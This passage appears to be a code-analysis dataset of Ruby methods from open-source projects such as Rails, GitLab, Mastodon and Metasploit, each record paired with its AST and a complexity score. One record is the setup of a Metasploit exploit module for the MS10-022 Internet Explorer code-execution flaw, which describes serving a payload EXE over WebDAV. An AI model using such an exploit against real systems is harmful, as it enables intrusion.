{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":678,"raw_source":"def test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial\n    assert_equal %(Before (Foo!)\\npartial html\\npartial with partial\\n\\nAfter),\n      @view.render(partial: \"test/partial_with_partial\", layout: \"test/layout_for_partial\", locals: { name: \"Foo!\" })\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Before (Foo!)\\npartial html\\npartial with partial\\n\\nAfter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/partial_with_partial\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"test/layout_for_partial\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Foo!\"]}]}]}]}]}]}]}]}","id":"08a59d7c-c78a-48b4-8cdd-a4faf6adf079"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/forms/redirect_uri_form_component.rb","start_line":60,"raw_source":"def oauth_client_configured?\n      oauth_client.present? && oauth_client.client_id.present? && oauth_client.client_secret.present?\n    end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth_client_configured?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_client\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_client\"]},\"client_id\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_client\"]},\"client_secret\"]},\"present?\"]}]}]}","id":"56c6aafd-101e-4d9d-bd11-55ee39a2dfda"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host_list.rb","start_line":9,"raw_source":"def initialize(hosts = [])\n          @hosts = hosts.shuffle\n          @index = 0\n          @mutex = Mutex.new\n          @hosts_gauge = Gitlab::Metrics.gauge(:db_load_balancing_hosts, 'Current number of load balancing hosts')\n\n          set_metrics!\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hosts\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hosts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"shuffle\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@hosts_gauge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"gauge\",{\"type\":\"sym\",\"children\":[\"db_load_balancing_hosts\"]},{\"type\":\"str\",\"children\":[\"Current number of load balancing hosts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_metrics!\"]}]}]}","id":"a1df5a6f-da27-4e85-bbd5-17c179ebe792"}
{"repo_name":"puma","file_path":"./repos/puma/test/helpers/test_puma/assertions.rb","start_line":26,"raw_source":"def assert_match(matcher, obj, msg = nil)\n      msg = if obj.length < 80\n        message(msg) { \"Expected #{mu_pp matcher} to match #{mu_pp obj}\" }\n      else\n        message(msg) { \"Expected #{mu_pp matcher} to match:\\n#{obj}\\n\" }\n      end\n      assert_respond_to matcher, :\"=~\"\n      matcher = Regexp.new Regexp.escape matcher if String === matcher\n      assert matcher =~ obj, msg\n    end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]},{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mu_pp\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]}]},{\"type\":\"str\",\"children\":[\" to match \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mu_pp\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mu_pp\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]}]},{\"type\":\"str\",\"children\":[\" to match:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"matcher\"]},{\"type\":\"sym\",\"children\":[\"=~\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]},{\"type\":\"lvasgn\",\"children\":[\"matcher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matcher\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"6b99214b-4466-4028-95b8-864ae8344730"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution',\n        'Description' => %q{\n          This module exploits a code execution vulnerability that occurs when a user\n          presses F1 on MessageBox originated from VBscript within a web page. When the\n          user hits F1, the MessageBox help functionality will attempt to load and use\n          a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.\n\n          This particular version of the exploit implements a WebDAV server that will\n          serve HLP file as well as a payload EXE. During testing warnings about the\n          payload EXE being unsigned were witnessed. A future version of this module\n          might use other methods that do not create such a warning.\n        },\n        'Author' => [\n          'Maurycy Prodeus', # Original discovery\n          'jduck' # Metasploit version\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2010-0483' ],\n          [ 'OSVDB', '62632' ],\n          [ 'MSB', 'MS10-022' ],\n          [ 'URL', 'https://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx' ],\n          [ 'URL', 'https://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Compat' =>\n          {\n            'ConnectionType' => '-find',\n          }\n        },\n        'Platform' => 'win',\n\n        # Tested OK - Windows XP SP3 - jjd\n        'Targets' => [\n          [ 'Automatic', {} ],\n\n          [\n            'Internet Explorer on Windows',\n            {\n              # nothing here\n            }\n          ]\n        ],\n        'DisclosureDate' => '2010-02-26',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The daemon port to listen on\", 80 ]),\n        OptString.new('URIPATH', [ true, \"The URI to use.\", \"/\" ])\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a code execution vulnerability that occurs when a user\\n\"]},{\"type\":\"str\",\"children\":[\"          presses F1 on MessageBox originated from VBscript within a web page. When the\\n\"]},{\"type\":\"str\",\"children\":[\"          user hits F1, the MessageBox help functionality will attempt to load and use\\n\"]},{\"type\":\"str\",\"children\":[\"          a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This particular version of the exploit implements a WebDAV server that will\\n\"]},{\"type\":\"str\",\"children\":[\"          serve HLP file as well as a payload EXE. During testing warnings about the\\n\"]},{\"type\":\"str\",\"children\":[\"          payload EXE being unsigned were witnessed. A future version of this module\\n\"]},{\"type\":\"str\",\"children\":[\"          might use other methods that do not create such a warning.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Maurycy Prodeus\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-0483\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"62632\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS10-022\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"-find\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Internet Explorer on Windows\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-02-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The daemon port to listen on\"]},{\"type\":\"int\",\"children\":[80]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to use.\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"ade4dd60-c5de-4d56-90aa-71bd20b9e93f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/avoid_feature_category_not_owned.rb","start_line":35,"raw_source":"def file_needs_feature_category?(node)\n          in_controller?(node) || in_worker?(node) || in_api?(node)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_needs_feature_category?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_controller?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"in_worker?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"in_api?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"1ee3ea00-41ca-4040-bfd9-a9fc54b56141"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/update_wordpress_vulnerabilities.rb","start_line":59,"raw_source":"def info(txt)\n  puts \"[#{'INFO'.cyan}] #{cleanup_text(txt)}\"\nend","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"INFO\"]},\"cyan\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_text\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]}]}]}]}","id":"0cbfb049-ef5f-474c-8282-52ea623a6e70"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/peers/search_controller.rb","start_line":25,"raw_source":"def set_domains\n    return if params[:q].blank?\n\n    if Chewy.enabled?\n      @domains = InstancesIndex.query(function_score: {\n        query: {\n          prefix: {\n            domain: normalized_domain,\n          },\n        },\n\n        field_value_factor: {\n          field: 'accounts_count',\n          modifier: 'log2p',\n        },\n      }).limit(LIMIT).pluck(:domain)\n    else\n      domain = normalized_domain\n      @domains = Instance.searchable.domain_starts_with(domain).limit(LIMIT).pluck(:domain)\n    end\n  rescue Addressable::URI::InvalidURIError\n    @domains = []\n  end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_domains\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chewy\"]},\"enabled?\"]},{\"type\":\"ivasgn\",\"children\":[\"@domains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InstancesIndex\"]},\"query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_score\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"normalized_domain\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field_value_factor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field\"]},{\"type\":\"str\",\"children\":[\"accounts_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modifier\"]},{\"type\":\"str\",\"children\":[\"log2p\"]}]}]}]}]}]}]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"LIMIT\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[null,\"normalized_domain\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@domains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Instance\"]},\"searchable\"]},\"domain_starts_with\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"LIMIT\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@domains\",{\"type\":\"array\",\"children\":[]}]}]},null]}]}","id":"4f655976-84f1-453b-ac96-982898454acc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/activity.rb","start_line":19,"raw_source":"def signed_in_recently?\n    current_sign_in_at.present? && current_sign_in_at >= ACTIVE_DURATION.ago\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"signed_in_recently?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_sign_in_at\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_sign_in_at\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ACTIVE_DURATION\"]},\"ago\"]}]}]}]}","id":"50f08eac-7857-4d2f-a777-d48350de46bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/reply_parser.rb","start_line":16,"raw_source":"def execute\n        body = select_body(message)\n\n        encoding = body.encoding\n        body, stripped_text = EmailReplyTrimmer.trim(body, @append_reply) if @trim_reply\n        return '' unless body\n\n        # not using /\\s+$/ here because that deletes empty lines\n        body = body.gsub(/[ \\t]$/, '')\n\n        # NOTE: We currently don't support empty quotes.\n        # EmailReplyTrimmer allows this as a special case,\n        # so we detect it manually here.\n        #\n        # If allow_only_quotes is true a message where all lines starts with \">\" is allowed.\n        # This could happen if an email has an empty quote, forwarded without any new content.\n        return \"\" if body.lines.all? do |l|\n          l.strip.empty? || (!allow_only_quotes && l.start_with?('>'))\n        end\n\n        encoded_body = force_utf8(body.force_encoding(encoding))\n        return encoded_body unless @append_reply\n\n        [encoded_body, force_utf8(stripped_text.force_encoding(encoding))]\n      end","complexity_score":33.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"select_body\",{\"type\":\"send\",\"children\":[null,\"message\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"encoding\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@trim_reply\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\"]},{\"type\":\"lvasgn\",\"children\":[\"stripped_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailReplyTrimmer\"]},\"trim\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"ivar\",\"children\":[\"@append_reply\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[ \\\\t]$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"lines\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"strip\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_only_quotes\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"encoded_body\",{\"type\":\"send\",\"children\":[null,\"force_utf8\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"force_encoding\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@append_reply\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_body\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_body\"]},{\"type\":\"send\",\"children\":[null,\"force_utf8\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stripped_text\"]},\"force_encoding\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]}]}]}]}]}","id":"342b58e9-d095-4400-a443-dfa26f034605"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/filters.rb","start_line":273,"raw_source":"def insert_autocomplete_item(filter_element, value)\n        Array(value).each do |val|\n          select_autocomplete filter_element.find(\"ng-select\"),\n                              query: val,\n                              results_selector: \".ng-dropdown-panel-items\"\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_autocomplete_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter_element\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"select_autocomplete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_element\"]},\"find\",{\"type\":\"str\",\"children\":[\"ng-select\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"results_selector\"]},{\"type\":\"str\",\"children\":[\".ng-dropdown-panel-items\"]}]}]}]}]}]}","id":"938283cb-1fc6-4a9e-9f53-6ec7f888be3b"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200723203155_change_mentions_notes_podcasts_roles_related_ids_to_bigints.rb","start_line":2,"raw_source":"def up\n    ActiveRecord::Base.connection.execute(\"DROP VIEW IF EXISTS hypershield.mentions\")\n    safety_assured { change_column :mentions, :user_id, :bigint }\n\n    ActiveRecord::Base.connection.execute(\"DROP VIEW IF EXISTS hypershield.notes\")\n    ActiveRecord::Base.connection.execute(\n      <<-SQL\n        ALTER TABLE notes\n          ALTER COLUMN author_id TYPE bigint,\n          ALTER COLUMN noteable_id TYPE bigint\n      SQL\n    )\n\n    ActiveRecord::Base.connection.execute(\"DROP VIEW IF EXISTS hypershield.podcasts\")\n    safety_assured { change_column :podcasts, :creator_id, :bigint }\n\n    ActiveRecord::Base.connection.execute(\"DROP VIEW IF EXISTS hypershield.roles\")\n    safety_assured { change_column :roles, :resource_id, :bigint }\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"DROP VIEW IF EXISTS 